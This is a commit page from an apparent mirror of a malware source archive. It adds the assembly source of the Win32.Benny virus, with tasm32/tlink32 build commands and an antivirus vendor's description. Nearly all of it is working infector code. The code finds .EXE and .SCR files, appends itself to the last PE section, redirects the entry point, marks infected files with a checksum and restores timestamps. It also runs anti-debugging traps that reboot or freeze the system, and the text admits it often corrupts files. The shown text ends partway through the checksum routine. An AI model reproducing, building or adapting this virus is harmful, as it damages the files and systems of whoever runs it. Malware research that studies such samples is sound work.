mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Updated dir structure in Win32
This commit is contained in:
@@ -0,0 +1,994 @@
|
||||
;-------------------------------------;
|
||||
; Win32.Benny (c) 1999 by Benny ;
|
||||
;-------------------------------------;
|
||||
;
|
||||
;
|
||||
;
|
||||
;Author's description
|
||||
;---------------------
|
||||
;
|
||||
;Welcome to my second Win32 virus! Don't expect any new things, I only
|
||||
;present u my last lame virus. Here is it...
|
||||
;
|
||||
;Features:
|
||||
;----------
|
||||
; - Win32 infector
|
||||
; - appends to the last section (usualy .reloc)
|
||||
; - "already infected" mark as my spec. 64bit checksum.
|
||||
; - no use of absolute addresses, gets GetModuleHandleA API from IAT
|
||||
; - compressed (API strings only)
|
||||
; - using memory mapped files for smarter handling of 'em
|
||||
; - direct action
|
||||
; - nonencrypted
|
||||
; - armoured (using SEH), TD32 fails
|
||||
;
|
||||
;Targets:
|
||||
;---------
|
||||
; - *.EXE
|
||||
; - *.SRC
|
||||
;
|
||||
;How to build:
|
||||
;--------------
|
||||
; - tasm32 -ml -q -m4 benny.asm
|
||||
; tlink32 -Tpe -c -x -aa -r benny,,, import32
|
||||
; pewrsec benny.exe
|
||||
;
|
||||
;
|
||||
;
|
||||
;AVP's description
|
||||
;------------------
|
||||
;
|
||||
;Benny's notes r in "[* *]".
|
||||
;
|
||||
;
|
||||
;This is a direct action (nonmemory resident) parasitic [* compressed *] Win32
|
||||
;virus. It searches for PE EXE files in the Windows, Windows system and current
|
||||
;directories [* shit! It DOESN'T infect Windows/System directories! *], then
|
||||
;writes itself to the end of the file. The virus has bugs and in many cases
|
||||
;corrupts files while infecting them [* Sorry, this is my last lame virus *].
|
||||
;The virus checks file names and does not infect the files: RUNDLL32.EXE,
|
||||
;TD32.EXE, TLINK32.EXE, TASM32.EXE [* and NTVDM.EXE *]. While infecting the
|
||||
;virus increases the size of last file section, writes itself to there and
|
||||
;modifies necessary PE header fields including program startup address.
|
||||
;
|
||||
;The virus contains the "copyright" string:
|
||||
;
|
||||
; Win32.Benny (c) 1999 by Benny
|
||||
;
|
||||
;
|
||||
;
|
||||
;And here is that promised babe:
|
||||
|
||||
|
||||
|
||||
|
||||
.386p ;386 instructions
|
||||
.model flat ;32bit offset, no segments
|
||||
|
||||
include PE.inc ;include some useful files
|
||||
include MZ.inc
|
||||
include Useful.inc
|
||||
include Win32api.inc
|
||||
|
||||
|
||||
nFile = 1 ;constants for decompress stage
|
||||
nGet = 2
|
||||
nSet = 3
|
||||
nModule = 4
|
||||
nHandle = 5
|
||||
nCreate = 6
|
||||
nFind = 7
|
||||
nFirst = 8
|
||||
nNext = 9
|
||||
nClose = 10
|
||||
nViewOf = 11
|
||||
nDirectoryA = 12
|
||||
nEXE = 13
|
||||
|
||||
|
||||
extrn GetModuleHandleA:PROC ;APIs needed by first generation
|
||||
extrn MessageBoxA:PROC
|
||||
extrn ExitProcess:PROC
|
||||
|
||||
|
||||
.data
|
||||
db ? ;shut up, tlink32 !
|
||||
ends
|
||||
|
||||
|
||||
.code
|
||||
Start_Virus:
|
||||
pushad ;save all regs
|
||||
call gdelta
|
||||
|
||||
ve_strings: ;compressed APIs
|
||||
veszKernel32 db 'KERNEL32', 0
|
||||
veszGetModuleHandleA db nGet, nModule, nHandle, 'A', 0
|
||||
|
||||
veszGetVersion db nGet, 'Version', 0
|
||||
veszIsDebuggerPresent db 'IsDebuggerPresent', 0
|
||||
veszCreateFileA db nCreate, nFile, 'A', 0
|
||||
veszFindFirstFileA db nFind, nFirst, nFile, 'A', 0
|
||||
veszFindNextFileA db nFind, nNext, nFile, 'A', 0
|
||||
veszFindClose db nFind, nClose, 0
|
||||
veszSetFileAttributesA db nSet, nFile, 'AttributesA', 0
|
||||
veszCloseHandle db nClose, nHandle, 0
|
||||
veszCreateFileMappingA db nCreate, nFile, 'MappingA', 0
|
||||
veszMapViewOfFile db 'Map', nViewOf, nFile, 0
|
||||
veszUnmapViewOfFile db 'Unmap', nViewOf, nFile, 0
|
||||
veszSetFilePointer db nSet, nFile, 'Pointer', 0
|
||||
veszSetEndOfFile db nSet, 'EndOf', nFile, 0
|
||||
veszSetFileTime db nSet, nFile, 'Time', 0
|
||||
veszGetWindowsDirectoryA db nGet, 'Windows', nDirectoryA, 0
|
||||
veszGetSystemDirectoryA db nGet, 'System', nDirectoryA, 0
|
||||
veszGetCurrentDirectoryA db nGet, 'Current', nDirectoryA, 0, 0
|
||||
|
||||
veszExe db '*', nEXE, 0
|
||||
veszScr db '*.SCR', 0
|
||||
veszNames db 'NTVDM', nEXE, 0 ;files, which we wont
|
||||
db 'RUNDLL32', nEXE, 0 ;infect
|
||||
db 'TD32', nEXE, 0
|
||||
db 'TLINK32', nEXE, 0
|
||||
db 'TASM32', nEXE, 0
|
||||
vszNumberOfNamez = 5
|
||||
|
||||
end_ve_stringz db 0ffh ;end of compressed
|
||||
;strings
|
||||
string_subs: ;string substitutes
|
||||
db 'File', 0
|
||||
db 'Get', 0
|
||||
db 'Set', 0
|
||||
db 'Module', 0
|
||||
db 'Handle', 0
|
||||
db 'Create', 0
|
||||
db 'Find', 0
|
||||
db 'First', 0
|
||||
db 'Next', 0
|
||||
db 'Close', 0
|
||||
db 'ViewOf', 0
|
||||
db 'DirectoryA', 0
|
||||
db '.EXE', 0
|
||||
num = 14 ;number of 'em
|
||||
|
||||
gdelta: ;get delta offset
|
||||
mov esi, [esp]
|
||||
mov ebp, esi
|
||||
sub ebp, offset ve_strings
|
||||
lea edi, [ebp + v_strings]
|
||||
|
||||
next_ch:lodsb ;decompressing stage
|
||||
test al, al
|
||||
je copy_b
|
||||
cmp al, 0ffh
|
||||
je end_unpacking
|
||||
cmp al, num+1
|
||||
jb packed
|
||||
copy_b: stosb
|
||||
jmp next_ch
|
||||
packed: push esi
|
||||
lea esi, [ebp + string_subs]
|
||||
mov cl, 1
|
||||
mov dl, al
|
||||
lodsb
|
||||
packed2:test al, al
|
||||
je _inc_
|
||||
packed3:cmp cl, dl
|
||||
jne un_pck
|
||||
p_cpy: stosb
|
||||
lodsb
|
||||
test al, al
|
||||
jne p_cpy
|
||||
pop esi
|
||||
jmp next_ch
|
||||
un_pck: lodsb
|
||||
test al, al
|
||||
jne packed3
|
||||
_inc_: inc ecx
|
||||
jmp un_pck
|
||||
|
||||
seh_fn: @SEH_RemoveFrame ;remove exception frame
|
||||
popad ;heal stack
|
||||
call [ebp + MyGetVersion] ;get version of windoze
|
||||
cmp eax, 80000000h ;WinNT ?
|
||||
jb NT_debug_trap
|
||||
cmp ax, 0a04h ;Win95 ?
|
||||
jb seh_rs
|
||||
|
||||
call IsDebugger ;Win98, check, if debugger active
|
||||
jecxz seh_rs ;no, continue
|
||||
mov eax, 909119cdh ;yeah, reboot system
|
||||
jmp $ - 4
|
||||
|
||||
NT_debug_trap:
|
||||
call IsDebugger ;WinNT, check, if debugger active
|
||||
jecxz seh_rs ;no, continue
|
||||
xor esp, esp ;yeah, freeze app
|
||||
|
||||
IsDebugger:
|
||||
call [ebp + MyIsDebuggerPresent] ;call checkin API
|
||||
xchg eax, ecx
|
||||
ret
|
||||
|
||||
quit: pop eax
|
||||
mov eax, [ebp + OrigEPoint] ;get original entrypoint rva
|
||||
sub eax, -400000h ;make it raw pointer
|
||||
mov [esp.Pushad_eax], eax
|
||||
popad
|
||||
jmp eax ;jump to host
|
||||
|
||||
end_unpacking:
|
||||
lea edx, [ebp + vszKernel32] ;KERNEL32
|
||||
push edx
|
||||
mov edx, [ebp + MyGetModuleHandleA] ;GetModuleHandleA API
|
||||
call [edx] ;get module of kernel32
|
||||
xchg eax, ecx
|
||||
jecxz quit ;shit, not found, jump to host
|
||||
xchg ecx, ebx
|
||||
|
||||
lea edi, [ebp + Virus_End] ;get addresses of APIs
|
||||
lea esi, [ebp + f_names]
|
||||
GetAPIAddress:
|
||||
call MyGetProcAddress
|
||||
jecxz quit
|
||||
xchg eax, ecx
|
||||
stosd
|
||||
@endsz
|
||||
cmp byte ptr [esi], 0
|
||||
jne GetAPIAddress
|
||||
|
||||
pushad ;now, we have all APIs, we can check
|
||||
@SEH_SetupFrame ;for debugger
|
||||
inc dword ptr gs:[edx] ;raise exception
|
||||
;now, we continue at seh_fn label
|
||||
|
||||
seh_rs: lea esi, [ebp + PathName] ;debugger not present, continue
|
||||
push esi
|
||||
push esi
|
||||
push 256
|
||||
call [ebp + MyGetCurrentDirectoryA] ;get current directory
|
||||
pop ebx
|
||||
|
||||
push 256
|
||||
lea edi, [ebp + WindowsPath]
|
||||
push edi
|
||||
call [ebp + MyGetWindowsDirectoryA] ;get windows directory
|
||||
|
||||
Next_Char:
|
||||
cmpsb ;compare directories
|
||||
jmp_patch:
|
||||
jne NoMatch ;this jump will be path in next check
|
||||
jne Try_Process_Dir ;jump for next check fail
|
||||
Matched_Char:
|
||||
cmp byte ptr [esi - 1], 0 ;end of string ?
|
||||
jne Next_Char
|
||||
jmp quit
|
||||
|
||||
NoMatch: ;check for system directory
|
||||
push 256
|
||||
lea edi, [ebp + WindowsPath]
|
||||
push edi
|
||||
call [ebp + MyGetSystemDirectoryA]
|
||||
|
||||
mov word ptr [ebp + jmp_patch], 9090h ;patch jump
|
||||
mov esi, ebx
|
||||
jmp Next_Char
|
||||
|
||||
Try_Process_Dir:
|
||||
call FindFirstFile ;we arnt in \windoze or \system dir, find file
|
||||
inc eax ;success ?
|
||||
je Try_Scr ;nope, try SCRs
|
||||
dec eax
|
||||
|
||||
process_dir_check:
|
||||
call CheckFileName ;check name
|
||||
jnc Infect_File ;ok, infect file
|
||||
|
||||
call FindNextFile ;nope, find next file
|
||||
test eax, eax
|
||||
jne process_dir_check ;ok, check name
|
||||
|
||||
Try_Scr:
|
||||
call FindClose ;find previous searchin
|
||||
lea edx, [ebp + Win32_Find_Data]
|
||||
push edx
|
||||
lea edx, [ebp + vszScr]
|
||||
push edx
|
||||
call [ebp + MyFindFirstFileA] ;find first SCR
|
||||
inc eax
|
||||
je quit ;no files left, jump to host
|
||||
dec eax
|
||||
|
||||
Infect_File:
|
||||
;Check size
|
||||
xor ecx, ecx
|
||||
lea ebx, [ebp + Win32_Find_Data]
|
||||
test byte ptr [ebx], FILE_ATTRIBUTE_DIRECTORY
|
||||
jne end_size_check ;discard directories
|
||||
cmp [ebx.WFD_nFileSizeHigh], ecx ;discard huge files
|
||||
jne end_size_check
|
||||
mov edi, [ebx.WFD_nFileSizeLow]
|
||||
lea esi, [ebx.WFD_szFileName]
|
||||
cmp edi, 16 * 1024 ;discard small files
|
||||
jb end_size_check
|
||||
cmp edi, 64000 * 1024
|
||||
jg end_size_check ;discard huge files
|
||||
|
||||
push ecx ;blank file attributez
|
||||
push esi
|
||||
call [ebp + MySetFileAttributesA]
|
||||
test eax, eax
|
||||
je end_size_check
|
||||
|
||||
push edi ;open and map file
|
||||
sub edi, Start_Virus - Virtual_End
|
||||
call Open&MapFile
|
||||
pop edi
|
||||
test ecx, ecx
|
||||
je end_SetFileAttributez
|
||||
|
||||
cmp word ptr [ecx], 'ZM' ;Check PE-header
|
||||
jne Close&UnmapFile
|
||||
xchg eax, edx
|
||||
mov edx, [ecx.MZ_lfanew]
|
||||
cmp eax, edx
|
||||
jb CloseFile
|
||||
add edx, ecx
|
||||
cmp dword ptr [edx], 'EP'
|
||||
jne CloseFile
|
||||
movzx eax, word ptr [edx.NT_FileHeader.FH_Machine]
|
||||
cmp ax, 14ch ;must be 386+
|
||||
jne CloseFile
|
||||
|
||||
mov ebx, ecx
|
||||
movzx ecx, word ptr [edx.NT_FileHeader.FH_NumberOfSections]
|
||||
cmp ecx, 3
|
||||
jb CloseFile ;at least 3 sections
|
||||
mov ax, word ptr [edx.NT_FileHeader.FH_Characteristics]
|
||||
not al
|
||||
test ax, 2002h ;executable, but not DLL
|
||||
jne CloseFile
|
||||
cmp dword ptr [edx.NT_OptionalHeader.OH_ImageBase], 64*65536 ;image base only 400000h
|
||||
jne CloseFile
|
||||
|
||||
lea eax, [ebp + vszGetModuleHandleA]
|
||||
mov ecx, ebx
|
||||
lea edx, [ebp + vszKernel32]
|
||||
call GetProcAddressIT ;find GetModuleHandleA API entry
|
||||
test eax, eax
|
||||
je CloseFile
|
||||
lea edx, [ebp + MyGetModuleHandleA]
|
||||
sub eax, -400000h
|
||||
mov [edx], eax ;save that entry
|
||||
|
||||
pushad ;load 64bit checksum
|
||||
push ebx
|
||||
mov esi, ebx
|
||||
sub esi, -MZ_res2
|
||||
lodsd
|
||||
mov ebx, eax
|
||||
lodsd
|
||||
mov edi, eax
|
||||
|
||||
pop esi
|
||||
push esi
|
||||
push ebp
|
||||
|
||||
mov eax, [ebp + Win32_Find_Data.WFD_nFileSizeLow]
|
||||
sub esi, -MZ_res2 - 8
|
||||
mov ebp, 8
|
||||
cdq
|
||||
div ebp
|
||||
cdq
|
||||
mul ebp
|
||||
|
||||
pop ebp
|
||||
mov ecx, eax
|
||||
call Checksum64 ;generate new 64bit checksum
|
||||
|
||||
pop esi ;and compare checksums
|
||||
cmp ebx, edx
|
||||
jne n_Infect
|
||||
cmp edi, eax
|
||||
je CloseFile
|
||||
|
||||
n_Infect:
|
||||
popad
|
||||
push ecx
|
||||
push ecx
|
||||
mov edx, [ecx.MZ_lfanew]
|
||||
add edx, ecx
|
||||
|
||||
movzx esi, word ptr [edx.NT_FileHeader.FH_SizeOfOptionalHeader]
|
||||
lea esi, [edx.NT_OptionalHeader + esi] ;locate first section
|
||||
movzx ecx, word ptr [edx.NT_FileHeader.FH_NumberOfSections] ;get number of sctnz
|
||||
mov edi, esi ;get LAST section
|
||||
xor eax, eax
|
||||
push ecx
|
||||
BSection:
|
||||
cmp [edi.SH_PointerToRawData], eax
|
||||
je NBiggest
|
||||
mov ebx, ecx
|
||||
mov eax, [edi.SH_PointerToRawData]
|
||||
NBiggest:
|
||||
sub edi, -IMAGE_SIZEOF_SECTION_HEADER
|
||||
loop BSection
|
||||
pop ecx
|
||||
sub ecx, ebx
|
||||
|
||||
push edx
|
||||
imul eax, ecx, IMAGE_SIZEOF_SECTION_HEADER
|
||||
pop edx
|
||||
add esi, eax
|
||||
|
||||
mov edi, dword ptr [esi.SH_SizeOfRawData]
|
||||
mov eax, Virtual_End - Start_Virus
|
||||
push edi
|
||||
lea edi, [esi.SH_VirtualSize] ;new virtual size of section
|
||||
push dword ptr [edi]
|
||||
add [edi], eax
|
||||
mov eax, [edi]
|
||||
|
||||
push edx
|
||||
mov ecx, [edx.NT_OptionalHeader.OH_FileAlignment]
|
||||
xor edx, edx
|
||||
div ecx
|
||||
xor edx, edx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov [esi.SH_SizeOfRawData], eax ;new SizeOfRawData (aligned virtual size)
|
||||
mov ecx, eax
|
||||
pop edx
|
||||
|
||||
pop ebx
|
||||
add ebx, [esi.SH_VirtualAddress]
|
||||
mov eax, [edx.NT_OptionalHeader.OH_AddressOfEntryPoint]
|
||||
pop edi
|
||||
push eax
|
||||
mov eax, [ebp + OrigEPoint]
|
||||
pop [ebp + OrigEPoint]
|
||||
mov [edx.NT_OptionalHeader.OH_AddressOfEntryPoint], ebx
|
||||
sub ecx, edi
|
||||
add [edx.NT_OptionalHeader.OH_SizeOfImage], ecx ;new SizeOfImage
|
||||
or byte ptr [esi.SH_Characteristics.hiw.hib], 0e0h ;change flags
|
||||
|
||||
pop edi
|
||||
add edi, [esi.SH_PointerToRawData]
|
||||
add edi, [esi.SH_VirtualSize]
|
||||
add edi, Start_Virus - Virtual_End
|
||||
lea esi, [ebp + Start_Virus]
|
||||
mov ecx, (Virus_End - Start_Virus + 3) / 4
|
||||
rep movsd ;copy virus
|
||||
mov [ebp + OrigEPoint], eax ;restore variable after copy stage
|
||||
jmp CloseFileOK
|
||||
|
||||
CloseFile:
|
||||
call Close&UnmapFile ;unmap view of file
|
||||
jmp end_SetFileAttributez ;and restore attributes
|
||||
|
||||
CloseFileOK:
|
||||
pop esi
|
||||
push esi
|
||||
push ebx
|
||||
push ebp
|
||||
|
||||
mov ebp, 8
|
||||
mov ebx, MZ_res2 + 8
|
||||
add esi, ebx
|
||||
mov ecx, ebp
|
||||
mov eax, edi
|
||||
add eax, ebx
|
||||
sub eax, esi
|
||||
cdq
|
||||
div ecx
|
||||
cdq
|
||||
imul ecx, eax, 8
|
||||
call Checksum64 ;generate new 64bit checksum as "already infected" mark
|
||||
sub esi, ebp
|
||||
mov [esi], edx ;store it to MZ.MZ_res2 field
|
||||
mov [esi+4], eax
|
||||
|
||||
pop ebp
|
||||
pop ebx
|
||||
pop esi
|
||||
sub edi, esi
|
||||
mov [ebp + Win32_Find_Data.WFD_nFileSizeLow], edi ;correct file size for unmapping
|
||||
call Close&UnmapFile ;unmap view of file
|
||||
|
||||
end_SetFileAttributez:
|
||||
push dword ptr [ebp + Win32_Find_Data] ;restore attributes
|
||||
push esi
|
||||
call [ebp + MySetFileAttributesA]
|
||||
|
||||
end_size_check:
|
||||
call FindNextFile ;find next file
|
||||
test eax, eax
|
||||
jne next_file ;weve got one, check that
|
||||
call FindClose ;nope, close search handle
|
||||
jmp quit ;and jump to host
|
||||
|
||||
next_file:
|
||||
call CheckFileName ;check file name
|
||||
jnc Infect_File ;ok, infect it
|
||||
jmp end_size_check ;nope, try next file
|
||||
|
||||
|
||||
CheckFileName proc ;check file name
|
||||
lea edi, [ebp + Win32_Find_Data.WFD_szFileName]
|
||||
lea esi, [ebp + vszNamez]
|
||||
mov ecx, vszNumberOfNamez
|
||||
mov edx, edi
|
||||
Ext_Next_Char:
|
||||
@endsz
|
||||
mov edi, edx
|
||||
Ext_Next_Char2:
|
||||
cmpsb
|
||||
je Ext_Matched_Char
|
||||
inc eax
|
||||
loop Ext_Next_Char
|
||||
clc
|
||||
ret
|
||||
Ext_Matched_Char:
|
||||
cmp byte ptr [esi - 1], 0
|
||||
jne Ext_Next_Char2
|
||||
stc
|
||||
end_Ext_Checking:
|
||||
ret
|
||||
CheckFileName EndP
|
||||
|
||||
|
||||
FindFirstFile proc ;find first file procedure
|
||||
lea edx, [ebp + Win32_Find_Data]
|
||||
push edx
|
||||
lea edx, [ebp + vszExe]
|
||||
push edx
|
||||
call [ebp + MyFindFirstFileA]
|
||||
mov [ebp + SearchHandle], eax
|
||||
ret
|
||||
FindFirstFile EndP
|
||||
|
||||
FindNextFile proc ;find next file procedure
|
||||
lea edx, [ebp + Win32_Find_Data]
|
||||
push edx
|
||||
push dword ptr [ebp + SearchHandle]
|
||||
call [ebp + MyFindNextFileA]
|
||||
ret
|
||||
FindNextFile EndP
|
||||
|
||||
FindClose proc ;find close procedure
|
||||
push dword ptr [ebp + SearchHandle]
|
||||
call [ebp + MyFindClose]
|
||||
ret
|
||||
FindClose EndP
|
||||
|
||||
|
||||
|
||||
Open&MapFile proc ;open and map file procedure
|
||||
xor eax, eax
|
||||
push eax ;NULL
|
||||
push eax ;FILE_ATTRIBUTE_NORMAL
|
||||
push 3 ;OPEN_EXISTING
|
||||
push eax ;NULL
|
||||
push 1 ;FILE_SHARE_READ
|
||||
push 0c0000000h ;GENERIC_READ | GENERIC_WRITE
|
||||
push esi ;pszFileName
|
||||
call [ebp + MyCreateFileA] ;open
|
||||
cdq
|
||||
inc eax
|
||||
je end_Open&MapFile
|
||||
dec eax
|
||||
mov [ebp + hFile], eax
|
||||
|
||||
push edx ;NULL
|
||||
push edi ;file size
|
||||
push edx ;0
|
||||
push 4 ;PAGE_READWRITE
|
||||
push edx ;NULL
|
||||
push eax ;handle
|
||||
call [ebp + MyCreateFileMappingA] ;create mapping object
|
||||
cdq
|
||||
xchg ecx, eax
|
||||
jecxz end_Open&MapFile2
|
||||
mov [ebp + hMapFile], ecx
|
||||
|
||||
push edx ;0
|
||||
push edx ;0
|
||||
push edx ;0
|
||||
push 2 ;FILE_MAP_WRITE
|
||||
push ecx ;handle
|
||||
call [ebp + MyMapViewOfFile] ;map file to address space of app
|
||||
mov ecx, eax
|
||||
jecxz end_Open&MapFile3
|
||||
mov [ebp + lpFile], ecx
|
||||
|
||||
end_Open&MapFile:
|
||||
mov ecx, eax
|
||||
ret
|
||||
Open&MapFile EndP
|
||||
|
||||
|
||||
Close&UnmapFile proc ;close and unmap file procedure
|
||||
push dword ptr [ebp + lpFile]
|
||||
call [ebp + MyUnmapViewOfFile] ;unmap file
|
||||
|
||||
end_Open&MapFile3:
|
||||
push dword ptr [ebp + hMapFile]
|
||||
call [ebp + MyCloseHandle] ;close mapping object
|
||||
|
||||
end_Open&MapFile2:
|
||||
mov ebx, [ebp + hFile]
|
||||
|
||||
cdq ;xor edx, edx
|
||||
push edx ;FILE_BEGIN
|
||||
push edx ;0 - high offset
|
||||
push dword ptr [ebp + Win32_Find_Data.WFD_nFileSizeLow]
|
||||
push ebx
|
||||
call [ebp + MySetFilePointer]
|
||||
|
||||
push ebx
|
||||
call [ebp + MySetEndOfFile] ;truncate file
|
||||
|
||||
lea edx, [ebp + Win32_Find_Data.WFD_ftLastWriteTime]
|
||||
push edx
|
||||
lea edx, [ebp + Win32_Find_Data.WFD_ftLastAccessTime]
|
||||
push edx
|
||||
lea edx, [ebp + Win32_Find_Data.WFD_ftCreationTime]
|
||||
push edx
|
||||
push ebx
|
||||
call [ebp + MySetFileTime] ;restore time
|
||||
|
||||
push ebx
|
||||
call [ebp + MyCloseHandle] ;and finally close file
|
||||
ret
|
||||
Close&UnmapFile EndP
|
||||
|
||||
|
||||
|
||||
;procedure for exploring modules export table
|
||||
MyGetProcAddress proc ;input:
|
||||
;ebx - module address
|
||||
;esi - pointer to API name
|
||||
;output:
|
||||
;ecx - address of GetProcAddress at memory
|
||||
push ebx
|
||||
push edi
|
||||
push esi
|
||||
push ebp
|
||||
@SEH_SetupFrame
|
||||
mov eax, ebx
|
||||
add eax, [eax.MZ_lfanew]
|
||||
mov ecx, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
|
||||
jecxz Proc_Address_not_found
|
||||
mov ebp, ebx
|
||||
add ebp, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
|
||||
|
||||
push ecx
|
||||
mov edx, ebx
|
||||
add edx, [ebp.ED_AddressOfNames]
|
||||
mov ecx, [ebp.ED_NumberOfNames]
|
||||
xor eax, eax
|
||||
|
||||
Search_for_API_name:
|
||||
|
||||
mov edi, [esp + 16]
|
||||
mov esi, ebx
|
||||
add esi, [edx + eax * 4]
|
||||
|
||||
Next_Char_in_API_name:
|
||||
cmpsb
|
||||
jz Matched_char_in_API_name
|
||||
inc eax
|
||||
loop Search_for_API_name
|
||||
pop eax
|
||||
|
||||
Proc_Address_not_found:
|
||||
xor eax, eax
|
||||
jmp End_MyGetProcAddress
|
||||
|
||||
Matched_char_in_API_name:
|
||||
cmp byte ptr [esi-1], 0
|
||||
jne Next_Char_in_API_name
|
||||
pop ecx
|
||||
mov edx, ebx
|
||||
add edx, [ebp.ED_AddressOfOrdinals]
|
||||
movzx eax, word ptr [edx + eax * 2]
|
||||
|
||||
Check_Index:
|
||||
cmp eax, [ebp.ED_NumberOfFunctions]
|
||||
jae Proc_Address_not_found
|
||||
mov edx, ebx
|
||||
add edx, [ebp.ED_AddressOfFunctions]
|
||||
add ebx, [edx + eax * 4]
|
||||
mov eax, ebx
|
||||
sub ebx, ebp
|
||||
cmp ebx, ecx
|
||||
jb Proc_Address_not_found
|
||||
|
||||
End_MyGetProcAddress:
|
||||
@SEH_RemoveFrame
|
||||
xchg eax, ecx
|
||||
pop ebp
|
||||
pop esi
|
||||
pop edi
|
||||
pop ebx
|
||||
ret
|
||||
MyGetProcAddress endp
|
||||
|
||||
|
||||
;all beginners=> im so sorry, but I didnt have any time to comment this stuff.
|
||||
GetProcAddressIT proc ;input:
|
||||
;EAX - API name
|
||||
;ECX - lptr to PE header
|
||||
;EDX - module name
|
||||
;output:
|
||||
;EAX - RVA pointer to IAT, 0 if error
|
||||
pushad
|
||||
xor eax, eax
|
||||
push ebp
|
||||
mov ebp, ecx
|
||||
lea esi, [ecx.MZ_lfanew]
|
||||
add ebp, [esi]
|
||||
mov esi, ebp
|
||||
;RVA of Import table
|
||||
mov eax, [esi.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
|
||||
mov ebp, ecx
|
||||
|
||||
push ecx
|
||||
movzx ecx, word ptr [esi.NT_FileHeader.FH_NumberOfSections]
|
||||
movzx ebx, word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
|
||||
lea ebx, [esi.NT_OptionalHeader + ebx]
|
||||
|
||||
scan_sections:
|
||||
mov edx, [ebx.SH_VirtualAddress]
|
||||
cmp edx, eax
|
||||
je section_found
|
||||
sub ebx, -IMAGE_SIZEOF_SECTION_HEADER
|
||||
loop scan_sections
|
||||
pop ecx
|
||||
pop eax
|
||||
jmp End_GetProcAddressIT2
|
||||
|
||||
section_found:
|
||||
mov ebx, [ebx + 20]
|
||||
add ebx, ebp
|
||||
pop ecx
|
||||
pop eax
|
||||
test ebx, ebx
|
||||
je End_GetProcAddressIT2
|
||||
|
||||
xor esi, esi
|
||||
xor ebp, ebp
|
||||
push esi
|
||||
dec ebp
|
||||
Get_DLL_Name:
|
||||
pop esi
|
||||
inc ebp
|
||||
mov edi, [esp + 20]
|
||||
mov ecx, [ebx.esi.ID_Name] ;Name RVA
|
||||
|
||||
test ecx, ecx
|
||||
je End_GetProcAddressIT2
|
||||
sub ecx, edx
|
||||
sub esi, -IMAGE_SIZEOF_IMPORT_DESCRIPTOR
|
||||
push esi
|
||||
lea esi, [ebx + ecx]
|
||||
|
||||
Next_Char_from_DLL:
|
||||
lodsb
|
||||
add al, -'.'
|
||||
jz IT_nup
|
||||
sub al, -'.' + 'a'
|
||||
cmp al, 'z' - 'a' + 1
|
||||
jae no_up
|
||||
add al, -20h
|
||||
no_up: sub al, -'a'
|
||||
IT_nup: scasb
|
||||
jne Get_DLL_Name
|
||||
cmp byte ptr [edi-1], 0
|
||||
jne Next_Char_from_DLL
|
||||
|
||||
Found_DLL_Name:
|
||||
pop esi
|
||||
imul eax, ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
|
||||
mov ecx, [ebx + eax.ID_OriginalFirstThunk]
|
||||
jecxz End_GetProcAddressIT2
|
||||
sub ecx, edx
|
||||
add ecx, ebx
|
||||
|
||||
xor esi, esi
|
||||
Next_Imported_Name:
|
||||
push esi
|
||||
mov edi, [esp + 32]
|
||||
mov esi, [ecx + esi]
|
||||
test esi, esi
|
||||
je End_GetProcAddressIT3
|
||||
sub esi, edx
|
||||
add esi, ebx
|
||||
lodsw
|
||||
next_char:
|
||||
cmpsb
|
||||
jne next_step
|
||||
cmp byte ptr [esi-1], 0
|
||||
je got_it
|
||||
jmp next_char
|
||||
next_step:
|
||||
pop esi
|
||||
sub esi, -4
|
||||
jmp Next_Imported_Name
|
||||
|
||||
got_it: pop esi
|
||||
imul ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
|
||||
add ebx, ebp
|
||||
mov eax, [ebx.ID_FirstThunk]
|
||||
add eax, esi
|
||||
|
||||
mov [esp + 28], eax
|
||||
jmp End_GetProcAddressIT
|
||||
|
||||
End_GetProcAddressIT3:
|
||||
pop eax
|
||||
End_GetProcAddressIT2:
|
||||
xor eax, eax
|
||||
mov [esp.Pushad_eax], eax
|
||||
End_GetProcAddressIT:
|
||||
popad
|
||||
ret
|
||||
GetProcAddressIT EndP
|
||||
|
||||
|
||||
Checksum64 proc ;output:
|
||||
; EDX:EAX - 64-bit checksum
|
||||
|
||||
push ebx ;save regs
|
||||
push ecx
|
||||
push edi
|
||||
push esi
|
||||
xor eax, eax ;nulify eax
|
||||
cdq ;nulify edx
|
||||
make_crc:
|
||||
call crc_byte ;read 8 bytes
|
||||
adc eax, ebx ;add LSD + CF to LSD
|
||||
jnc @1
|
||||
not eax ;invert LSD
|
||||
@1: xor eax, edx ;rotate LSD LSB times
|
||||
jp @2
|
||||
call crc_rotate ;rotate LSD and MSD
|
||||
@2: js crc_msd
|
||||
sbb eax, edx ;sub LSD with MSD + CF
|
||||
crc_msd:sbb edx, edi ;sub MSD with MSD + CF
|
||||
jnp @3
|
||||
not edx ;invert MSD
|
||||
@3: xor edx, eax ;xor MSD with LSD
|
||||
jns @4
|
||||
call crc_rotate ;rotate LSD and MSD
|
||||
@4: jc crc_loop
|
||||
adc edx, eax ;add LSD to MSD + CF
|
||||
crc_loop:
|
||||
jp next_loop
|
||||
call crc_swap ;swap bytes in LSD and MSD
|
||||
next_loop:
|
||||
dec eax ;decrement LSD
|
||||
inc edx ;increment MSD
|
||||
loop make_crc ;until ecx = 1
|
||||
pop esi ;restore regs
|
||||
pop edi
|
||||
pop ecx
|
||||
pop ebx
|
||||
ret
|
||||
|
||||
crc_byte: ;read 8 bytes from source
|
||||
push eax
|
||||
lodsd ;load 4 bytes
|
||||
mov ebx, eax ;ebx = new 4 bytes
|
||||
lodsd ;load next 4 bytes
|
||||
mov edi, eax ;edi = new 4 bytes
|
||||
pop eax
|
||||
add ecx, -7 ;correct ecx for loop
|
||||
ret
|
||||
crc_rotate: ;rotate LSD and MSD
|
||||
push ecx
|
||||
push edi
|
||||
xor edi, eax ;xor MSD with LSD
|
||||
mov ecx, edi ;count of rotations
|
||||
pop edi
|
||||
rcr eax, cl ;rotate LSD
|
||||
push ebx
|
||||
xor ebx, edx ;xor LSD with MSD
|
||||
mov ecx, ebx ;count of rotations
|
||||
pop ebx
|
||||
rcl edx, cl ;rotate MSD
|
||||
pop ecx
|
||||
ret
|
||||
crc_swap: ;swap bytes in LSD and MSD
|
||||
xchg al, dh ;swap LSD and MSD lower bytes
|
||||
